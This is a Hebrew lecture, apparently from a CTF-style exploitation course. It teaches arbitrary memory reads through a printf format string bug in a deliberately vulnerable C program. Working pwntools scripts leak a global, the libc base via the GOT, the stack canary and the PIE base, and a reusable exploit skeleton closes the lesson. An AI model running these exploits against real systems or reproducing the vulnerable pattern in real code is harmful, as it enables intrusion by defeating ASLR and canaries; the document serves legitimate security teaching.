5.2 קריאה שרירותית מהזיכרון הרצאה
בשיעור 5.1 ראינו את היסודות: כשהתוקף שולט במחרוזת הformat של printf, כל %p שולף ומדפיס ארגומנט מהמחסנית, וספציפייר פוזיציוני כמו %7$p קורא היישר את הסלוט השביעי בלי לספור ידנית. עד עכשיו רק דלפנו ערכים שכבר יושבים על המחסנית. בשיעור הזה נעשה קפיצת מדרגה: נלמד לקרוא כל כתובת בזיכרון שנבחר, גם כזו שלא נמצאת על המחסנית בכלל. הטריק פשוט ועוצמתי - נשתול בעצמנו את הכתובת שאנחנו רוצים לקרוא בתוך הbuffer שלנו, ואז נכוון עליה ספציפייר %s שיפרש אותה כמצביע וידפיס את מה שיש שם. עם היכולת הזו נדליף את בסיס libc, את הcanary, ואת בסיס הקוד כשיש PIE - כלומר נשבור ASLR, שזה בדיוק מה שצריך כדי לעבור לכתיבה ולהשתלטות בשיעורים הבאים.
תזכורת - קריאה מהמחסנית עם %p¶
נזכיר את מפת הארגומנטים ב-64 ביט. הפונקציה printf מקבלת את מחרוזת הformat ב-rdi, ואת הארגומנטים המשתנים לפי קונבנציית System V: הראשון ב-rsi, ואז rdx, rcx, r8, r9, ורק מהשישי ואילך על המחסנית. לכן, כשהתוקף כותב ספציפיירים פוזיציוניים, המיפוי הוא:
%1$ -> rsi
%2$ -> rdx
%3$ -> rcx
%4$ -> r8
%5$ -> r9
%6$ -> [rsp+0] <-- the first slot on the stack
%7$ -> [rsp+8]
%8$ -> [rsp+16]
...
הנקודה החשובה: הbuffer שלנו הוא משתנה מקומי על המחסנית, ולכן הבתים שאנחנו מזינים יושבים באחד הסלוטים האלה. אם נמצא באיזה אינדקס פוזיציוני מתחיל הbuffer, נוכל לא רק לקרוא אותו - אלא גם להשתמש בו כדי לאחסן כתובות שנרצה לדרוס עליהן %s. זה כל הרעיון.
הבינארי לדוגמה¶
לאורך השיעור נעבוד עם הבינארי הבא. שימו לב לגלובל secret ולקריאה הקלאסית printf(buf):
// fmt.c
#include <stdio.h>
#include <unistd.h>
char secret[] = "S3CR3T_GLOBAL_VALUE"; // a global we want to leak the contents of
void vuln() {
char buf[128];
read(0, buf, 128);
printf(buf); // format string vulnerability
putchar('\n');
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
נקמפל אותו בלי PIE ובלי canary, כדי לבודד את הטכניקה. ככה הכתובות של הגלובל ושל ה-GOT קבועות בכל הרצה:
הנחות ההגנה שלנו למקטע הראשון: אין PIE (הכתובות של secret ושל ה-GOT קבועות), אין canary, NX פעיל. חשוב להבין שגם עם ASLR פעיל במערכת, בבינארי לא-PIE הכתובות של הבינארי עצמו לא זזות - רק libc, המחסנית וה-heap מתערבבים. בהמשך נחזיר canary ו-PIE ונראה איך מדליפים גם אותם.
מציאת האינדקס של הbuffer¶
לפני הכל צריך לדעת באיזה אינדקס פוזיציוני יושב הbuffer. שולחים סמן ידוע ואחריו כמה %p פוזיציוניים, ובודקים איפה הוא צץ:
$ python3 -c 'import sys; sys.stdout.buffer.write(b"AAAAAAAA.%6$p.%7$p.%8$p.%9$p\n")' | ./fmt
AAAAAAAA.0x4141414141414141.0x7ffff7...
שמונת ה-A נחתו על %6$p והודפסו כ-0x4141414141414141. כלומר buf[0..7] יושב באינדקס 6. מכאן נגזור: buf[8..15] הוא אינדקס 7, buf[16..23] אינדקס 8, וכן הלאה. נסמן את המספר הזה BUF_INDEX = 6. שימו לב שהאינדקס תלוי בבינארי ובמהדר - תמדדו אותו לכל מטרה מחדש, אל תניחו.
הרעיון - קריאה שרירותית עם %s¶
הספציפייר %s שונה מהותית מ-%p. בעוד %p מדפיס את הערך של הארגומנט (מספר), הספציפייר %s מתייחס לארגומנט כאל מצביע ומדפיס את המחרוזת שנמצאת בכתובת הזו, עד לבית ה-null הראשון. זו בדיוק הפעולה שאנחנו רוצים: נתנו לו כתובת, הוא מבצע דריפרנס (dereference) ומדליף לנו את התוכן.
עכשיו הטריק המרכזי. אנחנו שולטים בתוכן הbuffer, והbuffer יושב על המחסנית באינדקס פוזיציוני ידוע. אז אם נשתול בתוך הbuffer את הכתובת שאנחנו רוצים לקרוא, ונכוון עליה ספציפייר %N$s (כאשר N הוא האינדקס של הסלוט שבו שתלנו את הכתובת) - printf יקרא את הכתובת מהbuffer שלנו, יעשה לה dereference, וידפיס את מה שיש שם. קריאה שרירותית מכל כתובת שנרצה.
The format string What actually happens
+-------------------------+ %7$s takes the 7th positional argument,
| ... %7$s ... | --> which is slot buf[8..15], where we planted an address,
+-------------------------+ and prints the string at that address.
| buf[8..15] = target address |
+-------------------------+
יש כאן בעיית ביצה ותרנגולת קטנה: מחרוזת הformat עצמה יושבת בתחילת הbuffer, ואנחנו צריכים לשתול את הכתובת גם היא בתוך אותו buffer. הפתרון: שמים את הספציפייר בהתחלה, ואת הכתובת אחריו, בסלוט נפרד ונקי. ככה הם לא דורכים אחד על השני.
היישור הקריטי - alignment¶
הנה הנקודה שמפילה הרבה אנשים בפעם הראשונה. כדי ש-%N$s יקרא את הכתובת שלנו נכון, הכתובת חייבת לנחות בדיוק על גבול סלוט של 8 בתים. הסלוטים הפוזיציוניים aligned ל-8, אז אם הכתובת מתחילה באמצע סלוט - הספציפייר יקרא צירוף שבור של בתים ויקבל מצביע זבל, מה שיוביל לרוב לקריסה.
מסקנה מעשית: אורך הקידומת (הספציפייר וכל מה שלפני הכתובת) חייב להיות כפולה של 8. בואו נבנה payload קונקרטי. נניח BUF_INDEX = 6, כלומר buf[0..7] הוא אינדקס 6 ו-buf[8..15] הוא אינדקס 7. נשים את הכתובת ב-buf[8] (אינדקס 7), ולכן הקידומת חייבת להיות בדיוק 8 בתים:
index 6 buf[0..7] | % 7 $ s # A A A | <- the prefix: 8 bytes = a whole slot
index 7 buf[8..15] | p64(target address) | <- the address lands on a clean slot
הספציפייר %7$s מכוון לאינדקס 7, שהוא buf[8..15], ושם בדיוק שתלנו את הכתובת. הקידומת %7$s# היא 5 בתים, ואנחנו מרפדים אותה ב-AAA עד 8 בתים תמימים. הבית # הוא סמן שנוסיף מיד אחרי הספציפייר - הוא יודפס ישר אחרי הפלט של %s, וישמש אותנו לחתוך את הleak בצד הפייתון.
מה קורה אם נשכח את הalignment? נניח שנשלח %7$s ואז ישר את הכתובת, בלי padding. הקידומת היא 4 בתים, אז הכתובת תנחת ב-buf[4] - באמצע אינדקס 6, דורכת על הגבול בין הסלוטים. הספציפייר %7$s עדיין קורא את buf[8..15], אבל שם עכשיו יושבים בתים אחרים לגמרי. התוצאה: מצביע זבל ו-Segmentation fault. תמיד תרפדו לגבול של 8.
הערה חשובה על שיטת הקלט: אנחנו משתמשים ב-read, שקורא בתים גולמיים כולל \x00. לכן מותר שהכתובת שנשתול תכיל בתים אפסיים (וכתובות רבות מכילות). שימו לב ששמנו את הכתובת בסוף הpayload: printf סורק את מחרוזת הformat ועוצר בבית ה-null הראשון, אז אם היו בתים אפסיים באמצע הם היו קוטעים את הסריקה. כשהכתובת בסוף, הספציפייר %s כבר עובד לפני שהסריקה מגיעה לבתים האפסיים שלה. אם היינו צריכים ספציפיירים נוספים אחרי הכתובת, היה כאן סיפור אחר.
דוגמה מקצה לקצה - leak של גלובל¶
נחבר הכל לleak של תוכן הגלובל secret. קודם מוצאים את כתובתו (הבינארי לא PIE, אז היא קבועה):
$ objdump -t fmt | grep secret
0000000000404060 g O .data 0000000000000014 secret
$ nm fmt | grep secret
0000000000404060 D secret
עכשיו הסקריפט. שימו לב לפונקציית העזר read_at שמקבלת כתובת ומחזירה את התוכן - זו הלבנה שנשתמש בה שוב ושוב:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./fmt')
context.log_level = 'info'
BUF_INDEX = 6 # measured: buf[0..7] is the 6th positional argument
def read_at(io, addr):
idx = BUF_INDEX + 1 # the address will sit in the next slot: buf[8..15]
payload = f'%{idx}$s#'.encode() # the specifier + marker '#'
payload = payload.ljust(8, b'A') # padding for alignment: an exact 8-byte prefix
payload += p64(addr) # the address lands on a clean slot (buf[8])
io.sendline(payload)
return io.recvuntil(b'#', drop=True) # cut at the marker, keeping only what %s printed
io = process('./fmt')
leak = read_at(io, elf.symbols['secret'])
log.success('secret = %r', leak) # b'S3CR3T_GLOBAL_VALUE'
io.close()
הרצה:
הצלחנו לקרוא תוכן של גלובל דרך חולשת format string בלבד, בלי לגעת בו ישירות. שימו לב שהpayload כולו הוא 16 בתים: 8 של הקידומת ו-8 של הכתובת. %s מדפיס את secret עד ה-null, ואז הסמן # שאחריו מאפשר לנו לחתוך בדיוק את הleak.
דליפת כתובת libc - GOT leak¶
עכשיו לשימוש המשמעותי באמת: שבירת ASLR של libc. הרעיון הוא לקרוא רשומה מטבלת ה-GOT. אחרי שהבינארי קרא לפונקציית libc פעם אחת (למשל printf עצמה, או read), הרשומה שלה ב-GOT מכילה את הכתובת האמיתית שלה בתוך libc. אנחנו לא יודעים מראש מה היא, כי ASLR מערבב את libc, אבל אם נדליף אותה - נוכל לחשב את בסיס libc ומשם כל כתובת אחרת בספרייה.
בבינארי הלא-PIE שלנו, כתובת הרשומה ב-GOT קבועה, אז אפשר לכוון עליה %s ישירות:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./fmt')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # the same libc that runs on the target
BUF_INDEX = 6
def read_at(io, addr):
idx = BUF_INDEX + 1
payload = f'%{idx}$s#'.encode().ljust(8, b'A') + p64(addr)
io.sendline(payload)
return io.recvuntil(b'#', drop=True)
io = process('./fmt')
# leak the real address of read from the GOT
leaked = read_at(io, elf.got['read'])
read_addr = u64(leaked.ljust(8, b'\x00'))
log.success('read@libc = %#x', read_addr)
# compute the libc base
libc.address = read_addr - libc.symbols['read']
log.success('libc base = %#x', libc.address)
log.info('system = %#x', libc.symbols['system'])
log.info('/bin/sh = %#x', next(libc.search(b'/bin/sh')))
io.close()
הפלט:
[+] read@libc = 0x7ffff7eb8360
[+] libc base = 0x7ffff7db4000
[*] system = 0x7ffff7e04d70
[*] /bin/sh = 0x7ffff7f6f5aa
מהרגע שיש לנו את libc.address, אובייקט ה-ELF של pwntools מחשב לנו כל כתובת בספרייה: libc.symbols['system'], libc.search(b'/bin/sh'), וגם גאדג'טים ל-one_gadget. הleak הזו היא בדיוק מה שהיינו צריכים - היא הופכת exploit "עיוור" (שלא יודע כתובות libc) ל-exploit שיודע לכוון בול. בשיעורים 5.3 ו-5.4 ננצל את זה לכתיבה עם %n ולחטיפת זרימה.
כמה דגשים. ראשית, בחרנו לדלוף רשומה של פונקציה שכבר נקראה (read נקראה לפני ה-printf), אחרת ה-GOT עדיין מצביע ל-PLT stub ולא לכתובת האמיתית ב-libc. שנית, %s עוצר בבית null, ולכן הוא מדליף רק את הבתים המשמעותיים של הכתובת (בדרך כלל 6 בתים ב-64 ביט, כי שני הבתים העליונים אפסיים) - בדיוק מה ש-ljust(8, b'\x00') משלים בשבילנו. שלישית, קריטי להשתמש באותו קובץ libc שרץ על היעד, כי ההיסטים משתנים בין גרסאות. את גרסת ה-libc של היעד אפשר לזהות עם strings libc.so.6 | grep 'GNU C' או דרך שירותי זיהוי לפי הכתובת שדלפה.
דליפת הקנרי - canary leak¶
הcanary הוא ערך אקראי שהמהדר משתיל בין הbuffer לreturn address. הוא לא יושב בכתובת קבועה שנוכל לכוון עליה %s, אבל יש לו תכונה נוחה: הוא כבר יושב על המחסנית, אז אפשר לקרוא אותו ישירות בתור סלוט פוזיציוני עם %p - בלי dereference בכלל. נקמפל גרסה עם canary:
איך מזהים באיזה אינדקס הcanary? סורקים סלוטים ומחפשים ערך שנראה אקראי, בגודל מלא של 8 בתים, ותמיד מסתיים בבית null (הבית התחתון של הcanary הוא \x00 בכוונה, כדי לבלום קריאות מחרוזת). שולחים chain של %p וקוראים:
$ python3 -c 'print(".".join("%%%d$p" % i for i in range(6, 21)))' | ./fmt_canary
0x7f....0xADDR....0x**a1b2c3d4e5f60000**....0x...
הערך 0x...00 שנראה אקראי ומסתיים ב-00 הוא הcanary. נניח שהוא נחת באינדקס 15. אז בקוד:
from pwn import *
context.binary = elf = ELF('./fmt_canary')
CANARY_INDEX = 15 # measured
io = process('./fmt_canary')
io.sendline(b'%%%d$p' % CANARY_INDEX) # sends e.g. b'%15$p'
canary = int(io.recvline().strip(), 16)
log.success('canary = %#x', canary) # a random value ending in 00, e.g. 0x89abcdef01234500
שימו לב שכאן אנחנו קוראים את הערך שעל המחסנית (%p), לא תוכן שבכתובת כלשהי (%s). הcanary הוא סוד ששוכן על המחסנית עצמה, אז לא צריך dereference. אחרי שדלפנו אותו, בoverflow של buffer נוכל לכתוב אותו בחזרה במקומו המדויק ולעבור את הבדיקה של ה-__stack_chk_fail - וזה משחרר אותנו לדרוס גם את הreturn address. את השילוב הזה של leak עם %p ואז overflow נראה בפרויקט של הפרק.
דליפת בסיס הקוד - PIE base leak¶
כשהבינארי מקומפל עם PIE, גם הקוד עצמו נטען בכתובת אקראית, וכל הכתובות בתוכו (כולל ה-GOT) זזות בכל הרצה. עכשיו לא נוכל לכוון %s על elf.got['read'] כי אנחנו לא יודעים איפה ה-GOT. צריך קודם לדלוף מצביע קוד של הבינארי מהמחסנית.
על המחסנית, בין הערכים השמורים, יש בדרך כלל return address שמצביעה בחזרה לתוך הקוד של הבינארי (למשל הכתובת שאליה vuln תחזור בתוך main). מצביע כזה, אחרי החיסור מהבסיס, נותן לנו את בסיס ה-PIE. איך מזהים אותו בין שאר הסלוטים? הוא נראה כמו כתובת קוד: בבינארי PIE הכתובות מתחילות ב-0x55... או 0x56... (בניגוד ל-0x7f... של libc והמחסנית). סורקים עם %p, מזהים מצביע כזה, ואז מחשבים את ההיסט שלו מתחילת הקובץ עם objdump.
הזרימה המעשית:
from pwn import *
context.binary = elf = ELF('./fmt_pie')
RET_INDEX = 17 # measured: a return address into main sat here
io = process('./fmt_pie')
io.sendline(b'%%%d$p' % RET_INDEX)
ret_leak = int(io.recvline().strip(), 16)
log.success('code pointer = %#x', ret_leak)
# the fixed offset of that same return address from the start of the file (find it once with gdb/objdump)
RET_OFFSET = 0x1189
elf.address = ret_leak - RET_OFFSET
log.success('PIE base = %#x', elf.address)
log.info('secret = %#x', elf.symbols['secret']) # now the "live" address
איך מוצאים את RET_OFFSET? מריצים תחת gdb עם ASLR כבוי, קוראים את הערך שדלף מאותו סלוט, ומחסרים את בסיס הטעינה של הבינארי; מה שנשאר הוא ההיסט הקבוע, שזהה בכל הרצה גם עם ASLR פעיל. אחרי שיש לנו elf.address, כל elf.symbols[...] ו-elf.got[...] מתעדכנים לכתובות ה"חיות". ומכאן אפשר להמשיך בדיוק כמו בבינארי הלא-PIE: לכוון %s על elf.got['read'] כדי לדלוף גם את libc. הסדר הוא: קודם PIE base מהמחסנית, ואז libc דרך ה-GOT. בלי הצעד הראשון אין לנו בכלל את כתובת ה-GOT.
שלד exploit מלא¶
נאסוף את כל הלבנים לשלד אחד שאפשר להתאים כמעט לכל אתגר קריאה עם format string. הוא מבצע leak בשני שלבים (PIE ואז libc) ומשאיר לנו את כל הכתובות שנצטרך להמשך:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./fmt')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'info'
BUF_INDEX = 6 # positional index of buf[0] - measure with %p
def conn():
if args.REMOTE:
return remote('chall.server', 1337)
return process('./fmt')
def read_at(io, addr):
"""Arbitrary read: leaks the content at address addr using %s."""
idx = BUF_INDEX + 1
payload = f'%{idx}$s#'.encode().ljust(8, b'A') + p64(addr)
io.sendline(payload)
return io.recvuntil(b'#', drop=True)
def leak_ptr(io, addr):
"""Like read_at, but interprets the result as an 8-byte address."""
return u64(read_at(io, addr).ljust(8, b'\x00'))
io = conn()
# leak libc through the GOT (the binary is not PIE, so the GOT address is fixed)
libc.address = leak_ptr(io, elf.got['read']) - libc.symbols['read']
log.success('libc base = %#x', libc.address)
# from here we have any address we need going forward
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
log.info('system = %#x', system)
log.info('/bin/sh = %#x', binsh)
# ... here we continue to the write stage (%n) or ROP in upcoming lessons ...
io.interactive()
כמה מילים על השלד. פונקציית read_at היא הליבה - כתובת נכנסת, תוכן יוצא. leak_ptr עוטפת אותה כשמה שאנחנו מדליפים הוא מצביע (למשל רשומת GOT). הדגל args.REMOTE מאפשר את אותו סקריפט מקומית ומול השרת. ואם היעד היה PIE, היינו מוסיפים לפני הכל שלב leak_ptr על סלוט המחסנית כדי לחשב elf.address, ורק אז ניגשים ל-elf.got['read'].
סיכום¶
- קריאה שרירותית עם format string נעשית על ידי שתילת כתובת היעד בתוך הbuffer שלנו, וכיוון ספציפייר
%N$sעל הסלוט הפוזיציוני שבו שתלנו אותה. הספציפייר עושה dereference ומדפיס את התוכן. - ההבדל מ-
%p: הספציפייר%pמדפיס את הערך של הסלוט (קריאת מחסנית), בעוד%sמפרש אותו כמצביע ומדפיס את מה שבכתובת (קריאה שרירותית). - ראשית מודדים את האינדקס הפוזיציוני של הbuffer בעזרת סמן ידוע ו-
%p. ב-64 ביט הסלוטים על המחסנית מתחילים באינדקס 6. - הalignment הוא קריטי: אורך הקידומת חייב להיות כפולה של 8 כדי שהכתובת תנחת על גבול סלוט נקי. אחרת
%sקורא מצביע שבור וקורס. - שמים את הכתובת בסוף הpayload וקוראים בתים גולמיים עם
read, כדי שבתים אפסיים בכתובת לא יקטעו את סריקת הformat לפני שהספציפייר עבד. - הleak של libc: קוראים עם
%sרשומה מ-GOT של פונקציה שכבר נקראה, ומחשביםlibc.address = leak - libc.symbols[...]. שוברים ASLR של libc. - הleak של הcanary: הcanary יושב על המחסנית, אז קוראים אותו ישירות עם
%pעל הסלוט שלו (מזוהה כערך אקראי שמסתיים ב-00). - הleak של בסיס PIE: מדליפים מצביע קוד מהמחסנית עם
%p, מחסרים היסט קבוע, ומקבליםelf.address. עם PIE הסדר הוא PIE base קודם, ואז libc דרך ה-GOT.